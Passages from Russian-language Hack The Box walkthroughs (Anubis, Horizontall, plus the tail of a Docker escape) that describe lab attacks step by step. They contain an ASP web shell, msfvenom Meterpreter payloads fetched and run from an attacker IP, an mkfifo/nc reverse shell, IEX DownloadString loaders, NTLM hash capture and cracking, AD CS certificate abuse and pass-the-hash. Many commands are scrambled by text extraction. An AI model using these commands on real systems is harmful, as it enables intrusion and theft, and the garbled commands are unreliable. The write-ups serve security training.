В ито ге получа ем обрыв соеди нения. Зна чит, есть баг, а сер вер дол жен
переза пус тить ся.

Ошиб ка соеди нения

Зай дем на игро вой сер вер и запус тим свой bash c битом SUID.

По луче ние рута в «Докере»

У нас есть рут в Docker, но не в основной сис теме. Но не беда! Каталог 

 — не прос то общий. Это отра жение в фай ловой сис- 

теме, и внут ри Docker это каталог . Зна чит, все прис- 
воен ные фай лам атри буты в этом катало ге будут дос тупны из обе их сис тем.

/opt/
docker-entrypoint.d/

/docker-entrypoint.d/

Про дела ем трюк с bash еще раз. В «Докере» ско пиру ем bash в каталог 

 и выс тавим бит SUID. Затем запус тим его
на основной сис теме. Так как S-бит сох ранит ся, мы дол жны получить при- 
виле гиро ван ный кон текст. На основном хос те дела ем

/
docker-entrypoint.d/

cp /bin/bash /opt/docker-entrypoint.d/ 

За тем в Docker выпол няем

chown root:root /docker-entrypoint.d/bash 
chmod u+s /docker-entrypoint.d/bash 

И завер шаем трюк на основном хос те коман дой

/opt/docker-entrypoint.d/bash -p

Флаг рута

Мы зах ватили машину и име ем над ней пол ный кон троль!

https://www.revshells.com/
https://raw.githubusercontent.com/stealthcopter/deepce/main/deepce.sh
https://github.com/carlospolop/PEASS-ng/releases/download/20220209/linpeas.sh
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ВЗЛОМ

Пе ред нами — слож ней шая машина Anubis
с пло щад ки . Что бы прой ти ее,
понадо бит ся про экс плу ати ровать RCE
на сай те и так получить дос туп к кон тей- 
неру, затем най ти утеч ку хеша и узнать
пароль. Для дос тупа к основной сис теме
заюзаем уяз вимость в Jamovi. А под
конец — ком про мета ция домена через
служ бу сер тифика ции Active Directory.
В общем, пол ный набор! Скуч но не будет,
обе щаю.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ. ÑÊÀÍÈÐÎÂÀÍÈÅ ÏÎÐÒÎÂ

До бав ляем IP-адрес машины в , что бы было удоб нее обра щать ся

к ней:

/etc/hosts

10.10.11.102    anubis.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

На ходим четыре откры тых пор та:
135 — служ ба уда лен ного вызова про цедур (Microsoft RPC). Исполь зует ся
для опе раций вза имо дей ствия кон трол лер — кон трол лер и кон трол лер —
кли ент;

•

443 — веб-сер вер Microsoft HTTPAPI;•
445 — служ ба SMB;•
593 — служ ба уда лен ного вызова про цедур (Microsoft RPC над HTTPS).•

Порт 443 обес печива ет соеди нение по HTTPS, а это зна чит, что пер вым
делом сто ит изу чить сер тификат. Его поле  содер жит домен ные

име на, для которых он дей стви телен (Nmap тут же отоб разит это в резуль- 
татах ска ниро вания). Сра зу добав ляем най ден ные домены в .

commonName

/etc/hosts

10.10.11.102    www.windcorp.htb 

Те перь перей дем к веб-сер веру, где нас встре тит однос тра нич ный сайт.

Глав ная стра ница сай та

Нам нуж ны поля, через которые мож но было бы вза имо дей ство вать с сер- 
вером. Най ден ная фор ма отправ ки сооб щений подой дет.

Фор ма отправ ки сооб щений

Что прив лекло мое вни мание — это отоб ражение всех вве ден ных дан ных
на стра нице .https://www.windcorp.htb/preview.asp

Фор ма под твержде ния дан ных

По луча ется, что сайт не однос тра нич ный! Давай поп робу ем най ти дру гие
скры тые стра ницы сай та.

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t
 — URL;• -u

 — исклю чить из резуль тата отве ты с кодом 403.• -fc

Так как уже обна руже на одна стра ница в фор мате ASP, осталь ные будем
переби рать с таким же рас ширени ем. Запус каем :ffuf

ffuf  300 -u https://www.windcorp.htb/FUZZ.asp -t -w directory_2.3_
medium_lowercase.txt 

Ре зуль тат ска ниро вания фай лов ASP

Спус тя нес коль ко минут мы узна ем еще о нес коль ких стра ницах. Самая инте- 
рес ная из них — , которая прос то фор матиру ет наши дан ные.test.asp

Стра ница test.asp

Это мес то для тес та!

ÇÀÕÂÀÒ ÊÎÍÒÅÉÍÅÐÀ

Так как дан ные попада ют в исполня емый файл ASP, то самая прос тая идея —
это поп робовать записать в поле ком мента рия какой-нибудь шелл на ASP.
К при меру, этот:

<%
 Set oScript = Server.CreateObject("WSCRIPT.SHELL")
 Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
 Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

 Function getCommandOutput(theCommand)
     Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)
   getCommandOutput = objCmdExec.StdOut.ReadAll
 end Function

%>

<HTML>
<BODY>

  <FORM action="" method="GET">
    <input type="text" name="cmd" size=45 value="<%= szCMD %>">
  <input type="submit" value="Run">

</FORM>
<PRE>

        <%= "\" & oScriptNet.ComputerName & "" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's local address:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>

 <% szCMD = request("cmd")
   thisDir = getCommandOutput("cmd /c" & szCMD)

Response.Write(thisDir)%>
</p>
<br>
</BODY>
</HTML>

От прав ка веб-шел ла

И уже на стра нице под твержде ния видим некото рый вывод. Неп лохо, одну
уяз вимую стра ницу уже наш ли!

Стра ница под твержде ния отправ ленно го ком мента рия

Ко неч но, удоб нее все го получить какую-нибудь прод винутую обо лоч ку, к при- 
меру . Сна чала сге нери руем исполня емый файл с помощью

, для которо го исполь зуем сле дующие парамет ры:

Meretpreter

msfvenom
 — наг рузка;• -p []

 — IP локаль ного хос та;• LHOST=[]
 — локаль ный порт;• LPORT=[]

 — фор мат, в котором будет пред став лена наг рузка;• -f []
 — ито говый файл.• -o

443  exe 
msfvenom -p windows/x64/meterpreter/reverse_http LHOST=10.10.14.13 
LPORT= -f -o rs.exe 

Ге нери рова ние наг рузки Meterpreter

Сле дующий шаг — запуск лис тенера MSF.

msfconsole -q
 443 handler -p windows/x64/meterpreter/reverse_http -H tun0 -P

За пуск лис тенера Metasploit

Из катало га, где находит ся файл с наг рузкой, запус каем прос той веб-сер вер
на осно ве Python 3.

python3 -m http.server 80 

И через веб-шелл ска чива ем нашу наг рузку, а вто рой коман дой — запус каем.
Это при ведет к соз данию сес сии Meterpreter в Metasploit. Коман дой 

про веря ем текуще го поль зовате ля, от име ни которо го запущен файл.

getuid

powershell wget 10.10.14.13/rs.exe -O C:\Windows\Temp\rs.exe
cmd.exe /c C:\Windows\Temp\rs.exe

Соз дание сес сии Meterpreter

Мы работа ем в кон тек сте System, а для даль нейше го прод вижения могут
понадо бить ся учет ные дан ные. Дам пим хеши из локаль ной базы SAM
с помощью , вдруг где-то при годит ся.hashdump

По луче ние хешей паролей из базы SAM

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists
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Прос матри ваем фай лы на хос те и находим на рабочем сто ле адми нис тра тора
сер тификат.

Со дер жимое фай ла req.txt

Ко пиру ем его содер жимое на локаль ную машину и сох раня ем с рас ширени- 
ем . Затем мож но прос то открыть этот файл (любая сис тема дол жна рас- 

познать и отоб разить содер жимое сер тифика та).

crt

Со дер жимое сер тифика та

Так мы узна ем еще одно домен ное имя — .
Попыта емся получить дос туп к это му хос ту, но спер ва выяс ним его реаль ный
адрес. Пер вым делом орга низу ем SOCKS-прок си с помощью прог раммы

. Нам пот ребу ется и вер сия для Windows, и вер сия для Linux. Запус тим
на локаль ном хос те сер вер, ука зав порт для под клю чения (опция ), тип

прок си ( ) и то, что он дол жен ожи дать под клю чения.

softwareportal.windcorp.htb

chisel

-p
--socks5

 ./chisel server -p 4321 --socks5 --reverse

За тем заг рузим на уда лен ный хост вер сию для Windows и под клю чим ся.
В логах сер вера уви дим сооб щение о под клю чении кли ент ской час ти.

.\chisel.exe client 10.10.14.140:4321 R:4444:127.0.0.1:socks

Ло ги сер вера chisel

Те перь добавим домен ное имя в файл . А в качес тве адре са
будем исполь зовать Gateway-адрес сис темы.

/etc/hosts

Ре зуль тат коман ды ipcong

. . .     . .172 22 160 1 softwareportal windcorp htb

Что уди витель но, рас ширения для быс тро го перек лючения прок си сер веров
типа  и ему подоб ных не давали соеди нения. Но если выс тавить

парамет ры прок си в нас трой ках бра узе ра и обра тить ся к хос ту по домен ному
име ни, мы получа ем желан ную стра ницу.

FoxyProxy

Нас трой ки прок си в бра узе ре

Стар товая стра ница сай та

На сай те есть спи сок прог рам мно го обес печения. Если выб рать любой пункт,
ты перей дешь по ссыл ке и уви дишь сооб щение о начале уста нов ки ПО.

Со обще ние о начале уста нов ки ПО

Нем ного ждем, но не видим никаких изме нений. Тог да раз берем, что про- 
исхо дит при выборе ПО из спис ка. Выбирая ссыл ку, мы дела ем зап рос
по такому адре су:

http://softwareportal.windcorp.htb/install.asp?client=XXX.XXX.XXX.
XXX&software=7z1900-x64.exe 

Сер вер получа ет адрес кли ента и дол жен с ним вза имо дей ство вать. Поп- 
робу ем в качес тве кли ента ука зать адрес сво его хос та, но перед этим откро- 
ем любой сниф фер тра фика, к при меру .Wireshark

curl http://softwareportal.windcorp.htb/install.asp?client=10.10.14.
81&software=7z1900-x64.exe 

Ок но Wireshark

Для удобс тва прос мотра тра фика мож но акти виро вать филь тр, я исполь зовал
, что бы отсе ять обра щения к уда лен ному хос ту.

В выводе видим пакеты чер ного цве та, что говорит о сбро се соеди нения
(зак рытый порт). Про исхо дит обра щение к нашему хос ту на порт 5985 — там
работа ет служ ба WinRM. Таким обра зом, уда лен ный хост для уста нов ки
ПО пыта ется под клю чить ся к служ бе WinRM хос та, адрес которо го передан
в парамет ре  при зап росе на уста нов ку ПО.

not tcp.port == 80

client

NTLM hash leak

Что бы получить хеш NTLM, нам понадо бит ся прой ти аутен тифика цию. Что бы
пой мать учет ные дан ные, запус тим  и выпол ним пов торный зап-
рос на уста нов ку ПО.

Responder

sudo responder -I tun0 

Ло ги Responder

По луча ем хеш NetNTLMv2 поль зовате ля . Перебе рем его

с помощью ути литы . Ей нуж но ука зать параметр  — тип хеша.

Что бы узнать наш тип, мож но греп нуть его номер из справ ки hashcat.

localadmin
hashcat mode

 |    hashcat --example grep 'NTLMv2' -A2 -B2

Справ ка hashcat — при мер хеша NetNTLMv2

Та ким обра зом, его номер — 5600. Теперь у нас есть все дан ные, что бы
прог нать этот хеш по сло варю, к при меру .rockyou

 0 hashcat -a -m 5600 hash.txt ~/tmp/tools/rockyou.txt 

По доб ранный пароль

Спус тя счи таные секун ды получа ем пароль. Поп робу ем исполь зовать его
в дру гих точ ках вхо да. Нач нем с SMB:

smbmap -H anubis.htb -u localadmin -p Secret123 

Спи сок дос тупных катало гов SMB

Нам для чте ния дос тупно мно го катало гов, прос мотрим все их рекур сивно
(параметр ).-R

smbmap -H anubis.htb -u localadmin -p Secret123 -R

Со дер жимое обще го катало га

ÏÎËÓ×ÅÍÈÅ ÄÎÑÒÓÏÀ

Ви дим фай лы .omv и исполня емый файл Jamovi вер сии 1.6.16 (Jamovi —
это средс тво для работы со ста тичес кими таб лицами). Мож но пред положить,
что запус кает ся файл из катало га с ана лити кой. Так как мы зна ем вер сию
про дук та, мож но поис кать готовые экс пло иты.

По иск экс пло итов в Google

Пер вая же ссыл ка ука зыва ет на уяз вимость . Jamovi вер сии
ниже 1.6.18 под вержен XSS. Мы можем соз дать документ .omv (или взять
готовый) и записать в поле име ни стол бца код, который будет выпол нен
на уда лен ном хос те. Мож но най ти даже .

CVE-2021-28079

го товый PoC

По иск инс трук ции экс плу ата ции

Jamovi RCE

Пер вым делом заг рузим с уда лен ного ресур са файл .omv и откро ем
как архив.

smbclient  //10.10.11.102/Shared -U localadmin 
cd Documents 
cd Analytics 
get Whatif.omv 

Со дер жимое .omv-фай ла

Нам нуж но изме нить файл . В поле  запишем такую стро- 

ку:

metadata.json name

<script src="http://10.10.14.140:88/evil.js"></script>

Она под клю чит файл, рас положен ный на нашем сер вере.

Из менен ный файл metadata.json

Те перь на сво ем сер вере соз дадим файл , который будет выпол нять

обратный шелл.

evil.js

   const exec = require('child_process').exec;
exec('...);

Те перь сге нери руем реверс-шелл. Я в пос леднее вре мя для это го исполь зую
очень удоб ный . Там ука зыва ем парамет- 

ры, такие как локаль ные хост и порт, а так же язык и целевую сис тему.

Online Reverse Shell Generator

Online Reverse Shell Generator

Сге нери рован ный реверс-шелл встав ляем в фун кцию  в фай ле .

На сай те даже дают коман ду для запус ка лис тенера. Запус каем его, коман- 
дой  акти виру ем локаль ный веб-сер вер и заг ружа- 
ем вре донос ный файл на SMB.

exec evil.js

python3 -m http.server

put Whatif.omv 

Спус тя некото рое вре мя в окне лис тенера появит ся информа ция о вхо дящем
соеди нении. Так мы получа ем сес сию поль зовате ля.

Флаг поль зовате ля

ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Вы пол ним коман ду , что бы получить боль ше информа ции
о текущей сес сии. Видим, что тре бова ния к учет ной записи поль зовате ля
не опре деле ны (user claims information), а так же что он находит ся в кас томной
груп пе .

whoami /all

webdevelopers

Ин форма ция о поль зовате ле

На этой ста дии у меня дваж ды рва лось соеди нение, и приш лось каж дый раз
ждать выпол нение реверс-шел ла. Я решил получить более ста биль ный кон- 
троль и кинул сес сию фрей мвор ка .Cobalt Strike

Ак тивные сес сии

Что бы прос мотреть все нас трой ки безопас ности, начиная от парамет ров
анти виру сов и фай рво лов и закан чивая учет ками из хра нилищ и пароля ми
из бра узе ров, я исполь зовал . Эта прог рамма написа на на C#, и мы

можем выпол нить ее в памяти без заг рузки на уда лен ный хост.

Seatbelt

Единс твен ное, за что я уце пил ся в ито ге, — это исполь зование сер тифика- 
тов для аутен тифика ции.

all execute-assembly Seatbelt.exe -group=

Ин форма ция о сер тифика те поль зовате ля

Так как речь заш ла о сер тифика тах, нам сто ит исполь зовать , что бы

получить и пос мотреть все шаб лоны сер тифика тов и соот ветс тву ющих прав.
И нам повез ло! Мы оста нав лива емся на шаб лоне , так как наша груп па
име ет для него все пра ва!

Certify

Web

execute-assembly Certify.exe find 

Ин форма ция о шаб лоне Web

Çëîóïîòðåáëåíèå íåïðàâèëüíûìè êîíôèãóðàöèÿìè AD CS

 — это нас тра иваемые

служ бы для выдачи сер тифика тов и управле ния ими в сис темах безопас ности
ПО, где исполь зует ся тех нология откры тых клю чей.

Ñëóæ áû ñåð òèôèêà òîâ Active Directory (AD CS)

Цен тры сер тифика ции AD CS выда ют сер тифика ты парамет рами, которые
опре деля ются шаб лонами. Эти шаб лоны пред став ляют собой наборы
политик регис тра ции и пре доп ределен ных парамет ров сер тифика та и содер- 
жат вся кие све дения, нап ример:

срок дей ствия сер тифика та;•
пред назна чение сер тификат;•
спо соб ука зания субъ екта;•
ко му раз решено зап росить сер тифика ты.•

Каж дый ЦС пред при ятия пос тавля ется с парой шаб лонов по умол чанию. Если
ты хочешь исполь зовать какой-то шаб лон, ты соз даешь копию одно го из шаб- 
лонов по умол чанию и работа ешь с ней. Нап ример, если нуж но дать кли енту
сер тификат для работы с 802.1x, тебе понадо бит ся копия шаб лона Computer.
А если нужен серт SMIME, то копия шаб лона User. Наз вания шаб лонов могут
сби вать с тол ку, пос коль ку интер пре тиро вать их мож но по-раз ному.
Но реаль ной раз ницы меж ду дву мя эти ми шаб лонами нет! Каж дый шаб лон,
если запол нить его пра виль ными парамет рами, может дать сер тификат
любого типа!

Но шаб лоны сер тифика тов — это тоже защища емые объ екты в Active
Directory, то есть они име ют дес крип тор безопас ности, ука зыва ющий, какие
учас тни ки Active Directory име ют пра ва в отно шении шаб лона. Так, если мы
име ем пра во записи для какого-то шаб лона, то можем перепи сать этот шаб- 
лон для выдачи сер тифика тов — к при меру, для вхо да со смарт-кар той. Затем
зарегис три ровать эти сер тифика ты для любого поль зовате ля, пос коль ку
параметр, опре деля ющий поле CN сер тифика та, кон тро лиру ется в шаб лоне.
Это поз волит нам выдать себя абсо лют но за любого поль зовате ля, даже
за адми нис тра тора.

Прис тупа ем к ата ке! Пер вым делом модифи циру ем шаб лон. Для это го
исполь зуем скрип ты  и . Толь ко спер ва нуж но испра- 

вить пер вый скрипт, так как по умол чанию он будет отка тывать изме нения.
Что бы это го не про исхо дило, нуж но заком менти ровать стро ку 

.

PoshADCS PowerView

Reset-
ADCSTemplate -Name $TemplateName

Ис прав ление исходно го кода ADCS.ps1

Рас полага ем оба фай ла на сво ем сер вере, импорти руем их сра зу в память
и изме няем шаб лон.

powershell "IEX (New-Object Net.WebClient).DownloadString('http://10.
10.14.21/PowerView.ps1') ; IEX (New-Object Net.WebClient).
DownloadString('http://10.10.14.21/ADCS.ps1') ; 
Get-SmartcardCertificate -TemplateName Web -Identity localadmin 
-NoSmartcard"

Пос ле изме нения шаб лона зап росим сер тификат для поль зовате ля
Administrator.

execute-assembly Certify.exe request /ca:earth.windcorp.htb\windcorp-
CA /template:Web /altname:Administrator 

Зап рос сер тифика та поль зовате ля

Ко пиру ем при ват ный ключ и сер тификат в файл  на локаль ный хост

и пре обра зуем их в фор мат PFX. При этом нам ска жут уста новить пароль (я,
как всег да, став лю свой ник — ).

cert.pem

ralf

  
  

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced 
Cryptographic Provider v1.0" -export -out cert.pfx 

Те перь перено си соз данный сер тификат на уда лен ный хост. Мы смо жем
исполь зовать этот сер тификат аутен тифика ции для зап роса билета TGT
Kerberos. При этом с фла гом   вер сии 2.0 авто мати- 

чес ки получит NTLM-хеш поль зовате ля, в дан ном слу чае — адми нис тра тора.

/getcredentials Rubeus

execute-assembly Rubeus.exe asktgt /user:administrator /certificate:
cert.pfx /password:ralf /getcredentials 

По лучен ный TGT

По лучен ный NTLM-хеш

При меняя ата ку pass the hash, мы можем получить при виле гиро ван ный дос туп
к хос ту с помощью всем извес тной ути литы .psexec

psexec.py windcorp.htb/administrator@anubis.htb -hashes :
3CCC18280610C6CA3156F995B5899E09 

По луче ние дос тупа

Флаг рута

Ма шина зах вачена!

https://github.com/jpillora/chisel
https://nvd.nist.gov/vuln/detail/CVE-2021-28079
https://github.com/theart42/cves/blob/master/CVE-2021-28079/CVE-2021-28079.md
https://www.revshells.com/
https://github.com/GhostPack/Seatbelt
https://github.com/GhostPack/Certify
https://github.com/cfalta/PoshADCS
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
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ВЗЛОМ

Се год ня мы с тобой прой дем лег кую
машину Horizontall с пло щад ки 

. Для победы нам понадо бит ся про- 
экс плу ати ровать ряд уяз вимос тей в Strapi,
а затем повысить при виле гии через уяз- 
вимость в Laravel 8. Пог нали!

Hack
The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

Как обыч но, добав ляем IP-адрес машины в , что бы даль ше обра- 
щать ся по наз ванию:

/etc/hosts

10.10.11.105    horizontall.htb 

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

На хос те откры ты два стан дар тных пор та: 22 (служ ба SSH) и 80 (веб-сер вер
Nginx 1.14.0). SSH пока что про пус тим и нап равим ся смот реть, что есть
на веб-сер вере.

Стар товая стра ница сай та horizontall.htb

Там находим однос тра нич ный сайт, который, на пер вый взгляд, исполь зует
какую-то готовую тех нологию (то есть сайт не самопис ный).

Ñêàíèðîâàíèå âåá-êîíòåíòà

По ка что работать не с чем — нуж но даль ше искать точ ки вхо да. А ищут их
в таких слу чаях при помощи перебо ра катало гов по сло варю.

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t
 — URL;• -u

 — исклю чить из резуль тата отве ты с кодом 403.• -fc

На бира ем:

ffuf  403  300 -u http://horizontall.htb/FUZZ -fc -t -w directory_2.3_
medium.txt 

Ре зуль тат ска ниро вания катало гов с помощью ffuf

Но ничего инте рес ного не находим.
Ес ли не наш ли катало ги и стра ницы, то сто ит еще поис кать под домены.

Что бы обра тить ся к вир туаль ному хос ту, нуж но ука зать этот вир туаль ный хост
в заголов ке  про токо ла HTTP. Имен но это мес то мы и пометим

для перебо ра с помощью того же ffuf. Сло варь 
 так же берем из набора SecLists.

Host
subdomains-top1million-

110000.txt

ffuf    
300 

-u http://horizontall.htb/ -H 'Host: FUZZ.horizontall.htb' -t
-w subdomains-top1million-110000.txt 

Ре зуль тат ска ниро вания под доменов с помощью ffuf

В выводе отра жают ся вооб ще все вари анты. Обра тим вни мание на код отве- 
та 301 — перенап равле ние на дру гую стра ницу. Исклю чим его из вывода
(опция ).-fc 301

ffuf    
301  300 

-u http://horizontall.htb/ -H 'Host: FUZZ.horizontall.htb' -fc
-t -w subdomains-top1million-110000.txt 

Ре зуль тат ска ниро вания под доменов с помощью ffuf

Те перь в отве те находим все го два вари анта:  и . Добав ляем их
в файл .

www api-prod
/etc/hosts

10.10.11.105    www.horizontall.htb api-prod.horizontall.htb 

Пер вый ведет на преж ний сайт, а вот при обра щении к 

 получа ем пус тую стра ницу с над писью Welcome. На сай те

есть файл , но он тоже не рас кры вает никакой информа ции.

api-prod.
horizontall.htb

robots.txt

Со дер жимое фай ла robots.txt

Сно ва прос каниру ем дирек тории с ffuf, и на этот раз мы наконец находим
допол нитель ный кон тент.

ffuf  403  300 -u http://api-prod.horizontall.htb/FUZZ -fc -t -w 
directory_2.3_medium.txt 

Ре зуль тат ска ниро вания катало гов с помощью ffuf

ÒÎ×ÊÀ ÂÕÎÄÀ

От метим, что мы заод но наш ли име на поль зовате лей. Ска ниро вание дирек- 
торий на новом сай те дало две стра ницы. При обра щении к  получим

какой-то спи сок ком мента риев в фор мате JSON.

reviews

Со дер жимое стра ницы reviews

При обра щении к стра нице  никаких полез ных дан ных мы не получим.

Но в исходном коде упо мина ется .

admin
strapi

Ис ходный код стра ницы admin

Strapi CMS

 — это фрей мворк для управле ния кон тентом, работа ющий на Node.js.
Это так называ емая headless CMS, она отве чает толь ко за бэкенд (дан ные)
и может вза имо дей ство вать с любыми плат форма ми пред став ления, будь то
сай ты или при ложе ния. Эта тех нология широко при меня ется, а зна чит,
для нее будет нес ложно най ти хорошо задоку мен тирован ные экс пло иты, при- 
чем не в одном вари анте. Искать мож но при помощи Google, написав, к при- 
меру, strapi exploit.

Strapi

По иск экс пло итов

Пер вые же ссыл ки дают нам экс пло иты для уда лен ного выпол нения кода
(RCE) и уста нов ки про изволь ного пароля. Помет ка Unauthenticated сооб щает
о том, что баг сра бота ет даже без авто риза ции.

 исполь зует уяз вимость CVE-2019-18818 —
зап росы на сброс пароля обра баты вают ся неп равиль но, что поз воля ет
без авто риза ции изме нить пароль поль зовате ля. В коде экс пло ита находим
зап рос про вер ки вер сии.

Экс пло ит для уста нов ки пароля

Код экс пло ита

Про верим текущую вер сию Strapi, пос коль ку экс пло ит при меним к вер сиям
до 3.0.0-beta.

curl http://api-prod.horizontall.htb/admin/strapiVersion 

Зап рос вер сии экс пло ита

Те кущая вер сия удов летво ряет усло вию, поэто му под пра вим код экс пло ита.

Код экс пло ита

В самом начале фай ла (стро ки 15–17) ука зыва ем свои парамет ры: элек трон- 
ную поч ту поль зовате ля, URL и новый пароль.

  userEmail = "admin@horizontall.htb"
  strapiUrl = "http://api-prod.horizontall.htb"
  newPassword = "admin"

Пос ле сох ранения изме нений выпол ним экс пло ит.

Ре зуль тат выпол нения скрип та

Те перь перей дем к стра нице авто риза ции  и авто ризу- 
емся как .

/admin/auth/login
admin:admin

Ад минис тра тив ная стра ница сай та

ÒÎ×ÊÀ ÎÏÎÐÛ

Те перь обра тим вни мание на дру гой , который дол жен дать нам уда- 
лен ное выпол нение кода (RCE). В админке есть ком понент для уста нов ки
и уда ления пла гинов. Уяз вимость CVE-2019-19609 осно вана на том, что сис- 
тема не очи щает имя пла гина, а это поз воля ет ата кующе му переда вать
и выпол нить про изволь ный код.

экс пло ит

К моему удив лению, этот экс пло ит уже содер жал модуль для получе ния
и уста нов ки пароля. Во вре мя работы экс пло ит зап росит коман ду для выпол- 
нения. Давай откро ем лис тенер netcat (коман да )
и переда дим экс пло иту вот такой реверс-шелл:

rlwrap nc -lvp [port]

IP] rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [ [PORT] >/
tmp/f 

Вы пол нение экс пло ита

По лучен ный бэк коннект

По луча ем обо лоч ку TTY и чита ем пер вый флаг.

 python3 -c 'import pty;pty.spawn("/bin/bash")'

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь нам нужен флаг адми нис тра тора, а для его получе ния пот ребу ется
повысить при виле гии. Для поис ка путей к это му мож но исполь зовать скрип ты
PEASS, но сна чала луч ше про верить в наибо лее оче вид ных мес тах: нас трой ки
sudoers, при ложе ния с битом SUID, запущен ные про цес сы, откры тые
для локаль ного исполь зования пор ты. Нам везет с пос ледним — на локал- 
хосте открыт порт 8000.

netstat -tulpan

Прос лушива емые пор ты

Local Port Forwarding

Что бы прос мотреть, что он нам может вер нуть, будем тун нелиро вать тра фик.
Но сна чала орга низу ем SSH-соеди нение. На локаль ной машине сге нери руем
пару клю чей коман дой . А затем запишем пуб личный ключ (рас- 
ширение ) на уда лен ный хост.

ssh-keygen
.pub

  echo 'ssh-rsa AAAAB...' > ~/.ssh/authorized_keys 

Те перь про киды ваем порт:

ssh -L 8000:127.0.0.1:8000 -i id_rsa strapi@horizontall.htb 

Та ким обра зом, весь тра фик, который мы пош лем на локаль ный порт 8000,
будет тун нелиро ван на порт 8000 уда лен ного устрой ства. Обра тим ся
к 127.0.0.1:8000 через бра узер и получим глав ную стра ницу сай та.

Глав ная стра ница сай та

Так мы узна ем, что здесь уста нов лена CMS Laravel вер сии 8.

Laravel

Это еще одна популяр ная тех нология, так что дос таточ но загуг лить «Laravel v8
(PHP v7.4.18) exploit», и мы най дем упо мина ние уяз вимос ти CVE-2021-3129.

По иск экс пло итов

По ищем готовые экс пло иты имен но для нее. И оста новим ся на .пер вом

По иск экс пло итов

Кри тичес кая уяз вимость  поз воля ет зло умыш ленни ку выпол- 
нить про изволь ный код на сер вере. Уяз вимость воз ника ет, если вклю чен
режим отладки и акти виро ван модуль ignition, отве чающий за генера цию
стра ниц с ошиб ками в Laravel.

CVE-2021-3129

Ре жим отладки в Laravel помога ет решать проб лемы, воз ника ющие
по ходу вне сения изме нений в код. За путь до изме няемо го фай ла отве чает
параметр  из .ViewFile MakeViewVariableOptionalSolution.php

Экс плу ата ция уяз вимос ти воз можна из-за того, что зло умыш ленник, имея
дос туп к жур налу Laravel, может записать в него вре донос ный код и обра тить- 
ся к нему, ука зав путь к это му жур налу в парамет ре .viewFile

INFO

Под робнее об этой уяз вимос ти читай в статье
«

».

Уяз вимость в Laravel. Раз бира ем экс пло ит,
который дает уда лен ное выпол нение кода
в популяр ном PHP-фрей мвор ке

Ис поль зуя най ден ный ранее экс пло ит, поп робу ем выпол нить коман ду ,
как ука зано в опи сании.

id

